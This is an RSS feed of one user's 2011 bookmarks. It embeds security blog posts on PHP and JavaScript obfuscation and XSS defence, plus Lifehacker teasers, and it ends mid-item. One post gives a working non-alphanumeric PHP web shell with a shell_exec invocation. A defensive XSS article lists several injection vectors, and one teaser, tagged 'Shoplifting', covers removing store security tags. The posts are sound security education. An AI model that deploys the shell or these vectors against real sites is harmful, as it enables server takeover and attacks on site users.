<?xml version="1.0" encoding="UTF-8"?>
 <rdf:RDF xmlns="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:taxo="http://purl.org/rss/1.0/modules/taxonomy/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://web.resource.org/cc/" xmlns:syn="http://purl.org/rss/1.0/modules/syndication/" xmlns:admin="http://webns.net/mvcb/">
  <channel rdf:about="http://pinboard.in">
    <title>Pinboard (hanicker)</title>
    <link>https://pinboard.in/u:hanicker/public/</link>
    <description>recent bookmarks from hanicker</description>
    <items>
      <rdf:Seq>	<rdf:li rdf:resource="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2011/09/12/protecting-against-xss/"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/iZ--Jb6gtak/how-to-almost-guarantee-youll-never-have-to-check-your-luggage-again"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/mhg6M4AYuPk/learn-how-to-hide-things-in-plain-sight-with-the-secret-hiding-places-manual"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/qlXxqy2E4sc/how-to-remove-security-tags-from-clothing"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2011/08/15/unicode-monster-is-back-this-time-eating-chrome/"/>
	<rdf:li rdf:resource="http://www.infoworld.com/d/security/nucaptcha-improves-integration-captcha-system-169604?source=rss_security"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/nGLrVp0BQJo/cryptocat-creates-a-private-encrypted-chatroom-on-any-computer-with-a-web-browser"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2011/08/03/decoding-non-alphanumeric-code-with-hackvertor/"/>
	<rdf:li rdf:resource="http://hackaday.com/2011/07/14/building-a-single-button-combination-lock/"/>
	<rdf:li rdf:resource="http://hackaday.com/2011/07/14/vodafone-femtocells-hacked-root-password-revealed/"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/q6RZhw-mJxU/how-to-set-up-a-file+syncing-dropbox-clone-you-control"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/tAAOjE9lp30/should-i-be-worried-about-the-change-to-dropboxs-terms-of-service"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/J8tI79oGcP0/should-i-change-my-password-quickly-checks-if-your-password-was-compromised-in-a-recent-hack"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/Op5lx79jx_U/dropbox-accidentally-unlocked-all-accounts-for-4-hours"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/4z0WOLabwsI/eset-mobile-security-for-android-puts-antivirus-antispam-anti+theft-and-system-monitoring-all-in-one-sleek-app"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/OBrDEPsKmzc/android-data-vulnerability-how-to-protect-yourself"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/go8_GgZ3T8E/predator-locks-and-unlocks-your-pc-with-a-usb-thumb-drive"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/4a7725lsMy0/is-the-data-on-my-androids-memory-card-safe-if-its-lost-or-stolen"/>
	<rdf:li rdf:resource="http://www.infoworld.com/t/data-security/symantec-change-your-facebook-password-now-692?source=rss_security"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/xfkTGJskhEY/use-dropbox-to-get-back-your-stolen-computer"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/IIWb31GSu_E/sign-me-out-helps-you-track-unauthorized-access-to-your-gmail-and-facebook-accounts"/>
	<rdf:li rdf:resource="http://www.infoworld.com/d/security/emc-rsa-securid-info-swiped-sophisticated-hack-attack-917?source=rss_security"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/JhwZzO8GNyo/use-ninite-and-task-scheduler-to-keep-relatives-computers-up-to-date"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/"/>
	<rdf:li rdf:resource="http://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2010/06/09/can-all-mozilla-people-look-away-now-please/"/>
	<rdf:li rdf:resource="http://voipsa.org/blog/2010/06/07/linux-crash-on-a-plane/"/>
	<rdf:li rdf:resource="http://blogs.computerworld.com/16218/tabnapping_dont_be_scared_of_new_phishing_trick"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2010/05/05/regular-expression-sandboxing/"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/egbQzPT2NAA/googles-authentication-code-stolen-in-attacks"/>
	<rdf:li rdf:resource="http://www.thespanner.co.uk/2010/04/15/htmlreg/"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/ij0H-YHR5AU/shift-your-fingers-one-key-to-the-right-for-easy+to+remember-but-awesome-passwords"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/vbsESzowd4M/mandatory-password-changes-costs-billions-in-lost-productivity"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/vKdaF9uHpVU/gmail-detects-and-warns-you-if-someone-else-is-using-your-account"/>
	<rdf:li rdf:resource="http://www.pluralsight-training.net/community/blogs/keith/archive/2010/03/18/labs-for-my-attack-defence-talk-today-at-devweek.aspx"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/vD2K_FqjTmU/run-your-own-free-proxy-through-the-google-app-engine"/>
	<rdf:li rdf:resource="http://feeds.gawker.com/~r/lifehacker/full/~3/o6t7DRancVg/crack-a-wi+fi-networks-wep-password-with-backtrack-the-fancy-video-version"/>
      </rdf:Seq>
    </items>
  </channel><item rdf:about="http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/">
    <title>Non alphanumeric code in PHP</title>
    <dc:date>2011-09-22T13:52:37+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[So a small php shell was tweeted around and it inspired me to investigate a way to execute non-alphanumeric code. First off I started with the idea of using octal escapes in PHP and constructing the escape so for example: \107 is “G” if I could construct the “107″ and add the backslash to the beginning maybe I could construct “G”. It worked like this:


$_=+"";
$_=(++$_)+(++$_)+(++$_)+(++$_);
$__=+"";
$__++;
$___=$_*$_+$__+$__+$__+$__+$__+$__+$__;//107
$___="\\$___";


But there was no way to evaluate the escape once it was constructed without using alphanum chars. So I was stumped.
Then I had a brain wave, php automatically does a string conversion for arrays and converts them to “Array” when accessed as a string. I had “A”, “r”, “r” etc but I really needed “GET” in order to create a nice small non-alpha shell.

Onto the second technique, PHP allows you to use bitwise operators on strings   

'a'|'b';//c!

We can make new characters by combining others, but I only had a limited set to work with. A simple for loop later I combined the characters to create “GET” and thus make our non-alphanum small PHP shell  


<?
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|" ").($_[+""]|" ").($_[+""]^" ");
?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>


The first part converts a string into an array by attempting to assign to “0″ position of the string. Then I make sure the array is a string. Then I use “A” from array with bitwise operators to construct “G”, “E” and “T” using the characters “A”|0×6, “A”|0×5 and “A^0×15″. There you have it,you could even generate non-alpha code without using GET quite easily by producing different characters until you get an eval method.

To call the shell you’d use:
?_=shell_exec&__=whoami

Don’t forget in order to analyze php code use RIPS if you ever encounter this in the wild.
]]></description>
<dc:subject>php Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:9c950be76926/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:php"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2011/09/12/protecting-against-xss/">
    <title>Protecting against XSS</title>
    <dc:date>2011-09-12T22:57:27+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2011/09/12/protecting-against-xss/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[The problem as I see it
Where to start? Let me start by telling you that most of the books you read are wrong. The code samples you copy of the internet to do a specific task are wrong (the wrong way to handle a GET request), the function you copied from that work colleague who in turn copied from a forum is wrong (the wrong way to handle redirects). Start to question everything. Maybe this blog post is wrong   this is the kind of mindset you require in order to protect your sites from XSS. You as a developer need to start thinking more about your code. If a article you are reading contains stuff like echo $_GET or Response.Write without filtering then it’s time to close that article.

Are frameworks the answer? I think in my honest opinion no. Yes a framework might prevent XSS in the short term but in the long term the framework code will be proven to contain mistakes as it evolves and thus when it is exploited it will be more severe than if you wrote the code yourself. Why more severe? A framework hole can be easily automated since many sites share the same codebase, if you wrote your own filtering code than an attacker would be able to exploit the individual site but find it hard to automate a range of sites using different filtering methods. This is one of the main reasons the internet works today, not because everything is secure just because everything is different.  

One of the arguments I hear is that a developer can’t be trusted to create a perfect filtering system for a site and using a framework ensures the developer follows best guidelines. I disagree, developers are intelligent they write code and understand code, if you can build a system you can protect it because you’re in the best position to. 

How to handle input
When you handle user input just think to yourself “a number is a vector”, imagine a site that renders a image server side and allows you to choose the width and height of the graphic, if you don’t think a number is a vector then you might not put any restrictions on the width and height of the generated graphic but what happens when an attacker requests a 100000×100000 graphic? If you’re code doesn’t handle the maximum and minimum inputs then an attacker can DOS your server with multiple requests. The lesson is not to be lazy about each input you handle, you need to make sure each value is validated correctly. 

The process should be as follows.
1. Validate type – Ensure the value your are getting is what you were expecting.
2. Whitelist – Remove any characters that should not be in the value by providing the only characters that should.
3. Validate Length – Always validate the length of the input even when the value isn’t being placed in the database. The less that an attacker has to work with the better.
4. Restrict – Refine what’s allowed within the range of characters you allow. For example is the minimum value 5?
5. Escape – Depending on context (where your variable is on the page) escape correctly.

You can make things easier for yourself by placing these methods into a function or a class but don’t overcomplicate keep each method as simple as possible and be very careful and descriptive with your function names to avoid confusion.

HTML context
Lets look at an example of the method above with a code sample in PHP.


<?php
$x = (string) $_GET['x']; //ensure we get a string not array
$x = preg_replace("/[^\w]/","", $x); //remove any characters that are not a-z, A-Z, 0-9 or _
$x = substr($x, 0, 10);//restrict to a maximum of 10 characters
if(!preg_match("/^a/i", $x)) {//this value must only begin with a or A
$x = '';
}
echo '<b>' . htmlentities($x, ENT_QUOTES) . '</b>'; //escape everything according to context of $x
?>

You might be wondering why I used (string) in the code above. Lets try it without it. 

Using the following:test.php?x[]=123
Results in: “Warning: substr() expects parameter 1 to be string, array given” 

Because of the PHP feature which allows you to pass arrays over a GET request you can create a warning in PHP over unexpected type when trying to whitelist the value. Using type hinting ensures you get the expected type.

Great so we now understand how to restrict and escape a value. Lets look at another context.

Script context
When not in XHTML/XML mode a script tag does not decode HTML entities. If you have a value within a variable inside a script tag, question is what do you escape?

example:


<script>x='value here';</script>

Inside a JavaScript variable like this you have to watch out for the following ‘ and </script> using these vectors it’s possible to XSS the value. The two examples are listed below.

vector 1: ',alert(1),//
vector 2: </script><img src=1 onerror=alert(1)>

The second example requires no quotes and a lot of developers assume it won’t be executed because it’s still inside a JavaScript variable, this is clearly wrong as it executes because the browser doesn’t know where the script begins and ends correctly.

To escape a value inside a script context you should JavaScript escape the value. The best way of doing this is using unicode escapes, a unicode escape in JavaScript looks like the following:


<script>
alert('\u0061');//"a" in a unicode escape
</script>


You can experiment with unicode escapes using my Hackvertor tool. Please understand how they work as they will be very important to you when understanding how to protect many contexts.

It’s very important you follow the same procedure as before (Validate type, Whitelist, Validate Length, Restrict, Escape) for the specific variable you’re working on but this time we will convert our value into unicode escapes. A simple function to do that is as follows:


<?php
function jsEscape($input) {
if(strlen($input) == 0) {
return '';
}
$output = '';
$input = preg_replace("/[^\\x01-\\x7F]/", "", $input);//remove any characters outside the range 0x01-0x7f
$chars = str_split($input);
for($i=0;$i<count($chars);$i++) {
$char = $chars[$i];
$output .= sprintf("\\u%04x", ord($char));//get the character code and convert to hex and prefix with \u00
}
return $output;
}
?>

I’ve purposely designed this function with a few little optimisations missing, for example instead of using unicode you could use hex escapes since we restrict the range of allowed characters, alphanumeric characters are even converted when they could be replaced by their literal characters and new lines/tabs are encoded too when you could use the shorter equivalent. Lets add a line to use a literal tab character instead of \u0009. Why would you want to do this? To reduce the characters sent down the wire.

Code to handle tab:


<?php
if(preg_match("/^\t$/", $char)) {
   $output .= '\\t';
   continue;
}
?>

This converts a tab specifically to “\t”, notice how we separate input and output and by using continue we can skip the input character and override it with something more specific. The full code is now below for clarity.


<?php
function jsEscape($input) {
if(strlen($input) == 0) {
return '';
}
$output = '';
$input = preg_replace("/[^\\x01-\\x7F]/", "", $input);
$chars = str_split($input);
for($i=0;$i<count($chars);$i++) {
$char = $chars[$i];
if(preg_match("/^\t$/", $char)) {
$output .= '\\t';//don't unicode escape but using a shorter \t instead. Double escape remember!
continue;//skip a line and move on the the next char
}
$output .= sprintf("\\u%04x", ord($char));
        }
        return $output;
}
?>

Exercises for this code:
1. Can you handle characters outside the ascii range?
2. Convert any non dangerous character to their escaped or literal representation.

Script context in XHTML
In the previous section you might have wondered about XHTML when I stated “when not in XHTML/XML mode a script tag does not decode HTML entities”. In XHTML entities can be decoded even inside script blocks! Fortunately the code I provided for that section will handle that since unicode escapes are used. If you followed the exercises in that section did you make the “&” safe? That is something to think about when you are working on XHTML page. In order for XHTML to be used in the browser you have to serve the pages with the correct XHTML header. I recommend you don’t use the XHTML header.

Even though the previous examples still protect you against attack, I will show you a couple of vectors for XHTML sites/


<script>x='&#39;,alert(/This works in XHTML/)//';</script>



<script>x='&apos;,alert(/This also works in XHTML/)//';</script>


This would work in any XML based format, entities can be used to break out of strings and just a simple &lt/ will also do the trick. Don’t use XHTML or if you do unicode escape and don’t allow literal “&”.

JavaScript events
Now you know what happens in XHTML, you might be interested to know it also happens in HTML attributes. Any HTML attribute including events such as onclick will automatically decode entities and use them as if they were literal characters. Best demonstrated with a code example.


<div title="&gt;" id="x">test</div>
<script>
alert(document.getElementById(&apos;x&apos;).title);
</script>


As you can see instead of the value of the title attribute of the div element returning “&gt;” it returned “>” because it was automatically decoded. This whole process is one of the root causes of XSS, the developer didn’t understand that. Lets look at what happens with a onclick event and a variable of “x”.


<a href="#" onclick="x=&apos;&#39;,alert(1),&#39;&apos;;">test</a>


Clicking on the link fired the alert because like XHTML the entities are decoded, when you are in the attribute context you need to do exactly the same as if you were in the XHTML context. Reusing your jsecape function will fully protect you from XSS in attributes and variables like this.

innerHTML context
I hope you’ve grasped the previous concepts because now it’s going to get slightly confusing. If you’re in the script context and you are assigning a value which writes to the dom in some way then the previous rules of escaping break down. Because although you are escaping the value correctly for the context, the context shifts once it’s applied to innerHTML. As always here is an example:


<div id="x"></div>
<script>
//this is bad don't do this with innerHTML
document.getElementById(&apos;x&apos;).innerHTML=&apos;<?php echo jsEscape($_GET[&apos;x&apos;]);?>&apos;;</script>


Even though the string is “\u003c\u0069\u006d\u0067\u0020\u0073\u0072…” and so on it will still cause XSS because the innerHTML write will actually see the decoded characters from the JavaScript string. You need to escape for the HTML context as well as the script context, if you add XHTML to that too then it gets really really complicated. My advice is not to allow HTML when using the innerHTML context, whitelist and restrict your values and use innerText or textContent instead. If you really need HTML inside innerHTML follow the tutorial at the end on how to write a basic HTML filter for innerHTML.

CSS context
The same rules I’ve stated previously apply to CSS, a style block will not decode entities except when in XHTML/XML mode and style attributes will decode HTML entities automatically. This makes protecting against injections in the CSS context hard if you don’t know what you’re doing. In addition to the regular entities, CSS also supports it’s own format of hex escapes. The format is a backslash followed by a hex number of the required character padded optionally with zeros from 2-6 in length (vendors also supported a large amount of zero padding over the 6 length restriction). To see how it looks let use Hackvertor again to build our string. 

As you can see there are quite a few combinations you can use, there are more. The CSS specification states that comments can be used and consist of C style /* */ and any hex escape can include a space after the escape to avoid the next character continuing the hex escape. E.g. to CSS \61 \62 \63 is still “abc” regardless of the spaces. Hopefully you’ve read my blog for a while and know about using entities as well as hex escapes or maybe you’ve just realised? Well yeah it’s correct you can use hex escapes, comments and html entities to construct a valid execute css value.

This leaves you with a nightmare scenario with regard to protecting css property values, IE7 and IE7 compat (on newer builds of IE) supports expressions in CSS. Which basically allows you to execute JavaScript code inside CSS values. A simplistic example here:


<div style="xss:expression(open(alert(1)))"></div>


I use the open() function call to avoid the annoying client side DOS of continual alert popups. Anything inside “(” and “)” of the expression is a one line JavaScript call. In the example I use a invalid property called “xss” but it’s more likely to be “color” or “font-family”. Lets take it up a notch and start to encode the CSS value and see what executes. I’ll just encode the “e” of expression to make it easier to follow.


Hex escape:
<div style="xss:\65xpression(open(alert(1)))"></div>
Hex escape with trailing space:
<div style="xss:\65 xpression(open(alert(1)))"></div>
Hex escape with trailing space and zero padded:
<div style="xss:\000065 xpression(open(alert(1)))"></div>
Hex escape with trailing space and zero padded and comment:
<div style="xss:\000065 /*comment*/xpression(open(alert(1)))"></div>
Hex escape with trailing space and zero padded and HTML encoded comment:
<div style="xss:\000065 &#x2f;&#x2a;comment*/xpression(open(alert(1)))"></div>
and finally hex escape with encoded backslash with trailing space and zero padded and HTML encoded comment:
<div style="xss:&#x5c;000065 &#x2f;&#x2a;comment*/xpression(open(alert(1)))"></div>


I’m sure you’ll agree that’s hard to follow and there are literally millions of combinations. Unfortunately you can’t simply hex escape the value and expect it to be safe from injection, since even encoded CSS escapes as you’ve seen can be used as vectors. The option you’re left from a defensive point of view is to whitelist every CSS property value, luckily I’ve already done that with CSS Reg and Norman Hippert kindly converted it to PHP. 

Serving your pages
Every single page that’s available on the web for your site should include a doc type and a UTF-8 charset in a meta tag, now we have a shortened HTML5 header we can use the following:


<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
... your content ....


This is to prevent charset attacks and E4X vectors and force your document into standards mode on IE which is also important. I also recommend you enforce standards mode by following this blog post from Dave Ross.

Positive matching and filtering HTML
The last section of this long blog post will be how to write you’re own filter. I don’t think I’m the world’s greatest programmer but I think I’ve worked out a cool technique to filtering content using little code and by only matching the content you want you won’t get anything bad. I hope you take the basis of this code and improve it and learn from it. This code is intentially incomplete I wrote a more complete HTML filter called HTMLReg which you can examine if you want to improve this basic filter. But I recommend you try and improve the filter yourself and learn to break it too.


<script>
function yourFilter(input) {
var output = &apos;&apos; , pos = 0;
input = input + &apos;&apos;; //ensure we have a string
function isNewline(chr) {
return /^[\f\n\r\u000b\u2028\u2029]$/.test(chr);
}
function outputSpace(chr) {
if(!/^\s$/.test(output.slice(-1)) && !isNewline(chr)) { //skip new lines and multiple spaces
output += chr;
}
}
function outputChars(chrs) {
output += chrs;
}
function error(m) {
throw {
                  description: m
                };
}
function parseHTML() {
var allowedTags = /^<\/?(?:b|i|strong|s)>/,
match;
if(allowedTags.test(input.substr(pos))) {
match = allowedTags.exec(input.substr(pos));
if(match === null) {
error("Invalid tag");
} else {
pos += match[0].length;
outputChars(match[0]);
}

} else {
outputChars(&apos;&lt;&apos;);
pos++;
}
}
function parseEntities() {
var allowedEntities = /^&(?:amp|gt|lt);/,
match;
if(allowedEntities.test(input.substr(pos))) {
match = allowedEntities.exec(input.substr(pos));
if(match === null) {
error("Invalid entity");
} else {
pos += match[0].length;
outputChars(match[0]);
}

} else {
outputChars(&apos;&amp;&apos;);
pos++;
}
}

while(pos < input.length) {
chr = input.charAt(pos);
if(chr === &apos;<&apos;) {
parseHTML();
} else if(chr === &apos;&&apos;) {
parseEntities();
} else if(/^\s$/.test(chr)) {
outputSpace(chr);
pos++;
} else if(chr === &apos;>&apos;) {
outputChars(&apos;&gt;&apos;);
pos++;
} else if(chr === &apos;"&apos;) {
outputChars(&apos;&quot;&apos;);
pos++;
} else if(chr === "&apos;") {
outputChars(&apos;&#39;&apos;);
pos++;
} else if(/^[\w]$/.test(chr)) {
outputChars(chr);
pos++;
} else {
pos++;//move to the next character but don't output it
}
}
return output;
}
</script>

The code above separates input and output and shows how to move along the input and produce a different output without losing track of the position. New lines are dropped from the HTML and more than one space this is to demonstrate how to use the output to prevent repeated characters you can and should change the behaviour to suit your needs. The code is written in JavaScript but can be easily customised into your language.

Exercises
1. Can you handle attributes safely?
2. Can you convert new lines into <br> where appropriate.
]]></description>
<dc:subject>articles php Security xss</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:4d30629900f8/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:articles"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:php"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:xss"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/iZ--Jb6gtak/how-to-almost-guarantee-youll-never-have-to-check-your-luggage-again">
    <title>How to (Almost) Guarantee You'll Never Have to Check Your Luggage Again [Travel]</title>
    <dc:date>2011-08-26T13:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/iZ--Jb6gtak/how-to-almost-guarantee-youll-never-have-to-check-your-luggage-again</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Checking your luggage is like gambling with your belongings.  Something could break, get stolen, lost, and so on, and checked baggage generally comes with high fees.  Here's how to almost guarantee you'll never have to check your luggage again and, if all plans fail, how to make the best of a bad situation. More »





   
]]></description>
<dc:subject>Travel air_travel Baggage checked_bags How_To Luggage Safety Saving_Money Security Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:4dce9e7ae337/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Travel"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:air_travel"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Baggage"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:checked_bags"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:How_To"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Luggage"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Safety"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Saving_Money"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/mhg6M4AYuPk/learn-how-to-hide-things-in-plain-sight-with-the-secret-hiding-places-manual">
    <title>Learn How to Hide Things in Plain Sight with the Secret Hiding Places Manual [Security]</title>
    <dc:date>2011-08-16T14:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/mhg6M4AYuPk/learn-how-to-hide-things-in-plain-sight-with-the-secret-hiding-places-manual</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Looking for a place to stash some cash, jewelry, or other valuable objects? Your home offers plenty of hiding spaces, and the Construction of Secret Hiding Places is a free manual that will teach you how to use or make them. More »





   
]]></description>
<dc:subject>Security DIY DIY_Hacks Hidden Household How_To Money Privacy Saving Saving_Money Secret Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:5b8aafb2fe10/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:DIY"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:DIY_Hacks"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Hidden"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Household"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:How_To"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Money"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Saving"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Saving_Money"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Secret"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/qlXxqy2E4sc/how-to-remove-security-tags-from-clothing">
    <title>How to Remove Security Tags from Clothing [Video]</title>
    <dc:date>2011-08-15T20:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/qlXxqy2E4sc/how-to-remove-security-tags-from-clothing</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





 As an anti-theft measure, clothing stores tag certain items with security tags so you'll set off an alarm when you leave with the tag still on the garment or ruin it by spilling ink from the tag if you try to remove it yourself.  This isn't a problem so long as the tag gets removed before you leave the store, but sometimes clerks can miss a tag at checkout.  If that's happened to you, here's what you can do about it. More »





   
]]></description>
<dc:subject>dark_side Evil Security Shoplifting Stealing Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:32357ecfb872/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:dark_side"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Evil"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Shoplifting"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Stealing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2011/08/15/unicode-monster-is-back-this-time-eating-chrome/">
    <title>Unicode monster is back this time eating chrome</title>
    <dc:date>2011-08-15T09:28:43+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2011/08/15/unicode-monster-is-back-this-time-eating-chrome/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[It appears this unicode monster keeps chomping away at JavaScript parsers, this time it’s chrome. There was an excellent post from jack masa about JavaScript comments. In it he describes how chrome allows any character which ends in 2a or 2f \uxx2a+\u002f to be used as a “*” or “/”. Pretty crazy I’m sure you’ll agree but nice.

So I thought maybe Chrome has the same problems as Opera when parsing unicode escapes. Of course it does.


uuuu=alert;\u\u\u\u(1)


Yuk I don’t want backslashes in my variables thanks. 

So does it go deeper? Of course it does.


eval("Object.defineProperty(window,'u661',{get:function(){alert(1)}});\\u61");


Here I think the parser moves back a character and outputs the 6 twice. 

Tested on 15.0.849.0 dev-m
]]></description>
<dc:subject>javascript Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:fe9e330317e8/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.infoworld.com/d/security/nucaptcha-improves-integration-captcha-system-169604?source=rss_security">
    <title>NuCaptcha improves integration of Captcha system</title>
    <dc:date>2011-08-11T14:37:48+00:00</dc:date>
    <link>http://www.infoworld.com/d/security/nucaptcha-improves-integration-captcha-system-169604?source=rss_security</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[A company that makes a security product designed to thwart problems such as comment spam has added new security and customization features for website owners.
 NuCaptcha's self-titled product takes a different approach to the Captcha, which stands for "Completely Automated Public Turing Test to Tell Computers and Humans Apart."
]]></description>
<dc:subject>Security Authentication</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:9e8a5db5f391/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Authentication"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/nGLrVp0BQJo/cryptocat-creates-a-private-encrypted-chatroom-on-any-computer-with-a-web-browser">
    <title>Cryptocat Creates an Encrypted, Disposable Chatroom on Any Computer with a Web Browser [Video]</title>
    <dc:date>2011-08-09T14:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/nGLrVp0BQJo/cryptocat-creates-a-private-encrypted-chatroom-on-any-computer-with-a-web-browser</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





 If you need to have an encrypted, private chat but don't have the tools handy to do so, you can just use Cryptocat.  While anyone will be able to enter the chatroom if they know its name, nobody without your secret key will be able to see what you're saying. More »





   
]]></description>
<dc:subject>Webapps Chat Encryption Privacy Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:2024ac839601/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Webapps"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Chat"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Encryption"/>
